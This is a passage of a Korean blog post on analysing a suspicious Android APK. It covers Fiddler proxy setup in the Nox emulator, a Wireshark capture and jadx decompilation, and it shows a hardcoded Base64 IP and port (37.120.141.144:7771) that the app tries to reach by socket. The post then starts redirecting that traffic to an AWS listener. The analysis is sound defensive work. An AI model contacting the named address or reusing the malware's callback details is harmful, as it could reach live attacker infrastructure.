&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 24.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dztxuK/btsCReTwgB6/R5Wa4rqXl1hTXPILgjn9t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dztxuK/btsCReTwgB6/R5Wa4rqXl1hTXPILgjn9t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dztxuK/btsCReTwgB6/R5Wa4rqXl1hTXPILgjn9t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdztxuK%2FbtsCReTwgB6%2FR5Wa4rqXl1hTXPILgjn9t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1372&quot; height=&quot;661&quot; data-filename=&quot;Untitled 24.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. ipoconfig로 wifi IPv4 Adress를 알아낸다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;172.30.1.22&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 25.png&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHvye/btsCQsdq054/CGVAzgYFIpfARqtXnEiIl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHvye/btsCQsdq054/CGVAzgYFIpfARqtXnEiIl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHvye/btsCQsdq054/CGVAzgYFIpfARqtXnEiIl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHvye%2FbtsCQsdq054%2FCGVAzgYFIpfARqtXnEiIl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;843&quot; height=&quot;214&quot; data-filename=&quot;Untitled 25.png&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 녹스의 네트워크 설정으로 들어간뒤 WiredSSID를 2초정도 누르고 있으면 네트워크 수정 버튼이 생긴다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 26.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;647&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E6RfR/btsCQqmmImP/DVTRKDLPejk0mtMMB5p0jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E6RfR/btsCQqmmImP/DVTRKDLPejk0mtMMB5p0jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E6RfR/btsCQqmmImP/DVTRKDLPejk0mtMMB5p0jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE6RfR%2FbtsCQqmmImP%2FDVTRKDLPejk0mtMMB5p0jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1041&quot; height=&quot;647&quot; data-filename=&quot;Untitled 26.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;647&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 프록시를 수동으로 변경하고 아까 ipconfig로 알아낸 ip와 피들러에서 설정한 포트를 입력해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 27.png&quot; data-origin-width=&quot;557&quot; data-origin-height=&quot;900&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brYEac/btsCMpaKCBe/P2UJkVHhskFD4OdMvnKih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brYEac/btsCMpaKCBe/P2UJkVHhskFD4OdMvnKih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brYEac/btsCMpaKCBe/P2UJkVHhskFD4OdMvnKih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrYEac%2FbtsCMpaKCBe%2FP2UJkVHhskFD4OdMvnKih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;557&quot; height=&quot;900&quot; data-filename=&quot;Untitled 27.png&quot; data-origin-width=&quot;557&quot; data-origin-height=&quot;900&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nox에 인증서를 설치하는것은 아래 글에서 확인하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://wpgur.tistory.com/203&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2023.12.28 - [Android] - Android Nox 인증서 설치&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1703757295802&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Android Nox 인증서 설치&quot; data-og-description=&quot;Fiddler 실패... 인증서 설치 과정1 http://ipv4.fiddler:8877/ 로 접근하여 피들러 인증서를 다운받는다. &amp;rArr; FiddlerRoot certificate 계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다. 설정에서 인&quot; data-og-host=&quot;wpgur.tistory.com&quot; data-og-source-url=&quot;https://wpgur.tistory.com/203&quot; data-og-url=&quot;https://wpgur.tistory.com/203&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dy2KjM/hyUTLmAsPa/glPFxpYm1mIjLaBpcSXTjK/img.png?width=548&amp;amp;height=353&amp;amp;face=0_0_548_353,https://scrap.kakaocdn.net/dn/w79zi/hyUTIi7UuP/BRkWEvngHQGL7xkJGifLE1/img.png?width=548&amp;amp;height=353&amp;amp;face=0_0_548_353,https://scrap.kakaocdn.net/dn/cwDSXD/hyUTIi7Uxv/ldaasBP0UX6z34kZrgDZ6k/img.png?width=964&amp;amp;height=599&amp;amp;face=0_0_964_599&quot;&gt;&lt;a href=&quot;https://wpgur.tistory.com/203&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://wpgur.tistory.com/203&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dy2KjM/hyUTLmAsPa/glPFxpYm1mIjLaBpcSXTjK/img.png?width=548&amp;amp;height=353&amp;amp;face=0_0_548_353,https://scrap.kakaocdn.net/dn/w79zi/hyUTIi7UuP/BRkWEvngHQGL7xkJGifLE1/img.png?width=548&amp;amp;height=353&amp;amp;face=0_0_548_353,https://scrap.kakaocdn.net/dn/cwDSXD/hyUTIi7Uxv/ldaasBP0UX6z34kZrgDZ6k/img.png?width=964&amp;amp;height=599&amp;amp;face=0_0_964_599');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Android Nox 인증서 설치&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fiddler 실패... 인증서 설치 과정1 http://ipv4.fiddler:8877/ 로 접근하여 피들러 인증서를 다운받는다. &amp;rArr; FiddlerRoot certificate 계속 인증서 경고가 발생할텐데 무시하고 설정으로 들어가준다. 설정에서 인&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;wpgur.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;네트워크 http/https 분석 결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http로는 중요 정보를 전송하고 있지 않으며 외부 서버에서 http통신은 하고 있지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;네트워크 분석(TCP) - WIRESHARK&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;분석 환경 세팅&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석은 내부 WIFI를 선택해 패킷수집을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 48.png&quot; data-origin-width=&quot;1804&quot; data-origin-height=&quot;205&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIvYLK/btsCIETZivq/8nR6wO2JYz9RdP4fxYLY7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIvYLK/btsCIETZivq/8nR6wO2JYz9RdP4fxYLY7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIvYLK/btsCIETZivq/8nR6wO2JYz9RdP4fxYLY7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIvYLK%2FbtsCIETZivq%2F8nR6wO2JYz9RdP4fxYLY7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1804&quot; height=&quot;205&quot; data-filename=&quot;Untitled 48.png&quot; data-origin-width=&quot;1804&quot; data-origin-height=&quot;205&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;분석 결과&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수상한 패킷을 확인할 수 있었으며 37.120.141.144:7771로 패킷을 보내려는 시도를 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 49.png&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YKVEG/btsCRfETzVc/80b6veOWK9G8igFWBkgn0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YKVEG/btsCRfETzVc/80b6veOWK9G8igFWBkgn0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YKVEG/btsCRfETzVc/80b6veOWK9G8igFWBkgn0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYKVEG%2FbtsCRfETzVc%2F80b6veOWK9G8igFWBkgn0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1913&quot; height=&quot;485&quot; data-filename=&quot;Untitled 49.png&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 IP와 PORT를 BASE64로 인코딩하여 jadx-gui에서 확인결과 apk 내부 코드에서 하드코딩된 부분을 발견할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 50.png&quot; data-origin-width=&quot;1053&quot; data-origin-height=&quot;783&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkoWKs/btsCKqOJ7ks/rs0jgO45xvtYjeAui5tru1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkoWKs/btsCKqOJ7ks/rs0jgO45xvtYjeAui5tru1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkoWKs/btsCKqOJ7ks/rs0jgO45xvtYjeAui5tru1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkoWKs%2FbtsCKqOJ7ks%2Frs0jgO45xvtYjeAui5tru1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1053&quot; height=&quot;783&quot; data-filename=&quot;Untitled 50.png&quot; data-origin-width=&quot;1053&quot; data-origin-height=&quot;783&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 51.png&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;212&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kWaO6/btsCIENfdVz/T5k94wnrr2Hen0rfaK18uK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kWaO6/btsCIENfdVz/T5k94wnrr2Hen0rfaK18uK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kWaO6/btsCIENfdVz/T5k94wnrr2Hen0rfaK18uK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkWaO6%2FbtsCIENfdVz%2FT5k94wnrr2Hen0rfaK18uK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;212&quot; data-filename=&quot;Untitled 51.png&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;212&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 socket으로 전송하는 코드도 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 52.png&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cx1Une/btsCN536TaS/QMWbwjMi4qoVKho18xMAd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cx1Une/btsCN536TaS/QMWbwjMi4qoVKho18xMAd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cx1Une/btsCN536TaS/QMWbwjMi4qoVKho18xMAd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcx1Une%2FbtsCN536TaS%2FQMWbwjMi4qoVKho18xMAd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1119&quot; height=&quot;474&quot; data-filename=&quot;Untitled 52.png&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;IP변조를 통해 전송 데이터 확인&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패킷은 보내졌지만 ip가 존재하지 않아 어떤 데이터를 보내게 되는지 확인이 안됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 스말리 코드의 ip를 변경해서 어떤 데이터가 보내지는지 확인을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCY5jX/btsCQpgG0Rr/ZP3NkQkhwAkiL5fAWvTnF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCY5jX/btsCQpgG0Rr/ZP3NkQkhwAkiL5fAWvTnF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCY5jX/btsCQpgG0Rr/ZP3NkQkhwAkiL5fAWvTnF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCY5jX%2FbtsCQpgG0Rr%2FZP3NkQkhwAkiL5fAWvTnF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;492&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;분석 환경 구축 개요&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;AWS 인스턴스 생성&lt;/li&gt;
&lt;li&gt;내부 7771 포트로 리스팅 스크립트 제작후 실행&lt;/li&gt;
&lt;li&gt;데이터 전송 테스트&lt;/li&gt;
&lt;li&gt;APK 디컴파일 이후 스말리 코드에서의 IP 변경후 다시 COMPILE&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;AWS 인스턴스 생성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. aws 계정을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/accounts/latest/reference/manage-acct-creating.html&quot;&gt;https://docs.aws.amazon.com/ko_kr/accounts/latest/reference/manage-acct-creating.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 인스턴스를 시작으로 생성진행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 53.png&quot; data-origin-width=&quot;441&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ndm2n/btsCRhbDY8X/9JsGkXv7wAowF0SsMJAPOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ndm2n/btsCRhbDY8X/9JsGkXv7wAowF0SsMJAPOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ndm2n/btsCRhbDY8X/9JsGkXv7wAowF0SsMJAPOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fndm2n%2FbtsCRhbDY8X%2F9JsGkXv7wAowF0SsMJAPOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;441&quot; height=&quot;351&quot; data-filename=&quot;Untitled 53.png&quot; data-origin-width=&quot;441&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 이름 및 태그 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 54.png&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BKhz4/btsCK8mSoYG/jZODWrBUoLUQQoFWrKtpj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BKhz4/btsCK8mSoYG/jZODWrBUoLUQQoFWrKtpj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BKhz4/btsCK8mSoYG/jZODWrBUoLUQQoFWrKtpj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBKhz4%2FbtsCK8mSoYG%2FjZODWrBUoLUQQoFWrKtpj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1096&quot; height=&quot;429&quot; data-filename=&quot;Untitled 54.png&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 내부 OS 이미지 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q6QxG/btsCG3mbDK5/dnrlSsREFolIwgWxiskpD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q6QxG/btsCG3mbDK5/dnrlSsREFolIwgWxiskpD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q6QxG/btsCG3mbDK5/dnrlSsREFolIwgWxiskpD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq6QxG%2FbtsCG3mbDK5%2FdnrlSsREFolIwgWxiskpD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;1617&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. putty 접근을 위한 ACESS key를 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 56.png&quot; data-origin-width=&quot;1244&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/llEyT/btsCQ1NrBGv/QucDMhROyf7wWZirf1tixK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/llEyT/btsCQ1NrBGv/QucDMhROyf7wWZirf1tixK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/llEyT/btsCQ1NrBGv/QucDMhROyf7wWZirf1tixK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FllEyT%2FbtsCQ1NrBGv%2FQucDMhROyf7wWZirf1tixK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1244&quot; height=&quot;714&quot; data-filename=&quot;Untitled 56.png&quot; data-origin-width=&quot;1244&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 나머지는 기본 설정으로 해주고 생성&lt;/p&gt;
